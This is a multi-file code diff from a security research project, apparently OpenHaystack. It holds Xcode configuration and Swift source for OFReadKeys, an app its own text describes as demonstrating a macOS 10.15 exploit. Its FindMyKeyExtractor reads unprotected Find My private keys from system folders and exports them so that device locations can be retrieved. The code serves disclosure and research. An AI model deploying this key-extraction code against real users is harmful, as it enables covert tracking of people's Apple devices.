CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
MACOSX_DEPLOYMENT_TARGET = 10.15;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = macosx;
SWIFT_COMPILATION_MODE = wholemodule;
SWIFT_OPTIMIZATION_LEVEL = "-O";
};
name = Release;
};
78097ED7248E27E800096FCA /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = YES;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFReadKeys/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
78097ED8248E27E800096FCA /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CODE_SIGN_ENTITLEMENTS = OFReadKeys/OFReadKeys.entitlements;
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Automatic;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFReadKeys/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = YES;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFReadKeys/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFReadKeys";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_VERSION = 5.0;
};
name = Release;
};
782AC6AE25F0DF3100554BF4 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFFetchReports/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
SWIFT_VERSION = 5.0;
};
name = Debug;
};
782AC6AF25F0DF3100554BF4 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OFFetchReports/Preview Content\"";
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OFFetchReports/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 10.15;
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OFFetchReports";
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_OBJC_BRIDGING_HEADER = "$(SRCROOT)/OFFetchReports/BoringSSL/Bridging-Header.h";
SWIFT_VERSION = 5.0;
};
name = Release;
};
782AC6C625F0E2D200554BF4 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Debug;
};
782AC6C725F0E2D200554BF4 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
78097EBE248E27E700096FCA /* Build configuration list for PBXProject "OFReadKeys" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78097ED4248E27E800096FCA /* Debug */,
78097ED5248E27E800096FCA /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
78097ED6248E27E800096FCA /* Build configuration list for PBXNativeTarget "OFReadKeys" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78097ED7248E27E800096FCA /* Debug */,
78097ED8248E27E800096FCA /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
782AC6B025F0DF3100554BF4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
782AC6AE25F0DF3100554BF4 /* Debug */,
782AC6AF25F0DF3100554BF4 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
782AC6C625F0E2D200554BF4 /* Debug */,
782AC6C725F0E2D200554BF4 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
/* Begin XCRemoteSwiftPackageReference section */
782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/apple/swift-nio-ssl";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 2.10.4;
};
};
782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */ = {
isa = XCRemoteSwiftPackageReference;
repositoryURL = "https://github.com/apple/swift-crypto.git";
requirement = {
kind = upToNextMajorVersion;
minimumVersion = 1.1.4;
};
};
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
782AC6DA25F0E4C800554BF4 /* NIOSSL */ = {
isa = XCSwiftPackageProductDependency;
package = 782AC6D925F0E4C800554BF4 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
productName = NIOSSL;
};
782AC6DD25F0E4D900554BF4 /* Crypto */ = {
isa = XCSwiftPackageProductDependency;
package = 782AC6DC25F0E4D900554BF4 /* XCRemoteSwiftPackageReference "swift-crypto" */;
productName = Crypto;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = 78097EBB248E27E700096FCA /* Project object */;
}

View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<Workspace
version = "1.0">
<FileRef
location = "self:">
</FileRef>
</Workspace>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>IDEDidComputeMac32BitWarning</key>
<true/>
</dict>
</plist>

View File

@@ -0,0 +1,34 @@
{
"object": {
"pins": [
{
"package": "swift-crypto",
"repositoryURL": "https://github.com/apple/swift-crypto.git",
"state": {
"branch": null,
"revision": "296d3308b4b2fa355cfe0de4ca411bf7a1cd8cf8",
"version": "1.1.4"
}
},
{
"package": "swift-nio",
"repositoryURL": "https://github.com/apple/swift-nio.git",
"state": {
"branch": null,
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
"version": "2.26.0"
}
},
{
"package": "swift-nio-ssl",
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
"state": {
"branch": null,
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
"version": "2.10.4"
}
}
]
},
"version": 1
}

View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1240"
LastUpgradeVersion = "1250"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
@@ -14,10 +14,10 @@
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
@@ -44,10 +44,10 @@
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
@@ -61,10 +61,10 @@
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>

View File

@@ -0,0 +1,78 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1240"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78097EC2248E27E700096FCA"
BuildableName = "OFReadKeys.app"
BlueprintName = "OFReadKeys"
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1240"
LastUpgradeVersion = "1250"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
@@ -14,10 +14,10 @@
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78F7253325ED02300039C718"
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
BuildableName = "Run OFFetchReports"
BlueprintName = "Run OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
@@ -44,12 +44,18 @@
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78108B6B248E8FB50007E9C4"
BlueprintIdentifier = "782AC69D25F0DF3000554BF4"
BuildableName = "OFFetchReports.app"
BlueprintName = "OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = ""
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
@@ -60,10 +66,10 @@
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "78F7253325ED02300039C718"
BlueprintIdentifier = "782AC6C425F0E2D200554BF4"
BuildableName = "Run OFFetchReports"
BlueprintName = "Run OFFetchReports"
ReferencedContainer = "container:OpenHaystack.xcodeproj">
ReferencedContainer = "container:OFReadKeys.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>

View File

@@ -0,0 +1,41 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import CoreLocation
import SwiftUI
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = ContentView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}

View File

@@ -0,0 +1,58 @@
{
"images" : [
{
"idiom" : "mac",
"scale" : "1x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "512x512"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "512x512"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,64 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="17701" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<deployment identifier="macosx"/>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="17701"/>
</dependencies>
<scenes>
<!--Application-->
<scene sceneID="JPo-4y-FX3">
<objects>
<application id="hnw-xV-0zn" sceneMemberID="viewController">
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
<items>
<menuItem title="OFReadKeys" id="1Xt-HY-uBw">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="OFReadKeys" systemMenu="apple" id="uQy-DD-JDr">
<items>
<menuItem title="About OFReadKeys" id="5kV-Vb-QxS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
<menuItem title="Hide OFReadKeys" keyEquivalent="h" id="Olw-nP-bQN">
<connections>
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
</connections>
</menuItem>
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
</connections>
</menuItem>
<menuItem title="Show All" id="Kd2-mp-pUS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
<menuItem title="Quit OFReadKeys" keyEquivalent="q" id="4sb-4s-VLi">
<connections>
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
</connections>
</application>
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModule="Read_FindMy_Keys" customModuleProvider="target"/>
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="75" y="0.0"/>
</scene>
</scenes>
</document>

View File

@@ -0,0 +1,95 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import OSLog
import SwiftUI
struct ContentView: View {
@State var keysInfo: String?
var body: some View {
ZStack {
VStack {
Spacer()
self.infoText
.padding()
Button(
action: {
self.readPrivateKeys()
},
label: {
Text("Read private offline finding keys")
.font(.headline)
.foregroundColor(Color.black)
.padding()
.background(
RoundedRectangle(cornerRadius: 7.0)
.fill(Color(white: 7.0).opacity(0.7))
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
)
}
)
.buttonStyle(PlainButtonStyle())
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
}
Spacer()
}
}
.frame(width: 800, height: 600)
}
var infoText: some View {
// swiftlint:disable line_length
Text(
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+ Text(
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
)
// swiftlint:enable line_length
}
func readPrivateKeys() {
do {
let devices = try FindMyKeyExtractor.readPrivateKeys()
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
}
}
func saveExportedKeys(keys: [FindMyDevice]) {
do {
let keysPlist = try PropertyListEncoder().encode(keys)
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
} catch {
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}

View File

@@ -0,0 +1,233 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
import OSLog
struct FindMyKeyExtractor {
// swiftlint:disable identifier_name
/// This function reads the private keys of the Offline Finding Location system. They will
/// - Throws: Error when accessing files fails
/// - Returns: Devices and their respective keys
static func readPrivateKeys() throws -> [FindMyDevice] {
var devices = [FindMyDevice]()
os_log(.debug, "Looking for keys")
do {
// The key files have moved with macOS 10.15.4
let macOS10_15_3Devices = try self.readFromOldLocation()
devices.append(contentsOf: macOS10_15_3Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
}
do {
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
return devices
}
// MARK: - macOS 10.15.0 - 10.15.3
/// Reads the find my keys from the location used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
/// - Returns: An array of find my devices including their keys
static func readFromOldLocation() throws -> [FindMyDevice] {
// Access the find my directory where the private advertisement keys are stored unencrypted
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
let fm = FileManager.default
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
.first?.appendingPathComponent(directoryPath)
let folders = try fm.contentsOfDirectory(
at: privateKeysPath!,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(
at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else { continue }
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do {
if url.pathExtension == "keys" {
let keyPlist = try Data(contentsOf: url)
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
device.keys.append(keyInfo)
}
} catch {
print("Could not load key file ", error)
}
}
devices.append(device)
}
return devices
}
/// Parses the key plist file used until macOS 10.15.3
/// - Parameter keyFile: Propery list data
/// - Returns: Find My private Key
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
guard
let keyDict = try PropertyListSerialization.propertyList(
from: keyFile,
options: .init(), format: nil) as? [String: Any],
let advertisedKey = keyDict["A"] as? Data,
let privateKey = keyDict["PR"] as? Data,
let timeValues = keyDict["D"] as? [Double],
let pu = keyDict["PU"] as? Data
else {
throw FindMyError.parsingFailed
}
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
let hashedKey = Data(hashedKeyDigest)
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
let duration = timeValues[1]
return FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
/// Find the randomized key folder which is used since macOS 10.15.4
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
static func findRamdomKeyFolder() -> [URL] {
os_log(.debug, "Searching for cached keys folder")
var folderURLs = [URL]()
let foldersPath = "/private/var/folders/"
let fm = FileManager.default
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
do {
let randomSubfolders = try fm.contentsOfDirectory(
at: url,
includingPropertiesForKeys: nil,
options: .includesDirectoriesPostOrder)
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
}
} catch {
}
}
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
return folderURLs
}
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
}
var devices = [FindMyDevice]()
for folder in keysFolders {
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
devices.append(contentsOf: deviceKeys)
}
}
return devices
}
/// Load the keys fils in the passed directory
/// - Parameter directory: Pass a directory url to a location with key files
/// - Throws: An error if the keys could not be found
/// - Returns: An array of devices including their keys
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
os_log(.debug, "Loading key files from %@", directory.path)
let fm = FileManager.default
let subDirectories = try fm.contentsOfDirectory(
at: directory,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
var devices = [FindMyDevice]()
for deviceDirectory in subDirectories {
do {
var keyFiles = [Data]()
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
let keyFileURLs = try fm.contentsOfDirectory(
at: keyDirectory,
includingPropertiesForKeys: nil,
options: .skipsHiddenFiles)
for keyfileURL in keyFileURLs {
// Read the key files
let keyFile = try Data(contentsOf: keyfileURL)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
}
// Decode keys for file
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
devices.append(device)
} catch {
os_log(.error, "Key directory not found %@", error.localizedDescription)
}
}
return devices
}
}

View File

@@ -0,0 +1,44 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import CryptoKit
import Foundation
struct FindMyDevice: Codable {
let deviceId: String
var keys = [FindMyKey]()
}
struct FindMyKey: Codable {
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
// swiftlint:disable identifier_name
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
enum FindMyError: Error {
case noFoldersFound
case parsingFailed
}

View File

@@ -0,0 +1,44 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>LSMinimumSystemVersion</key>
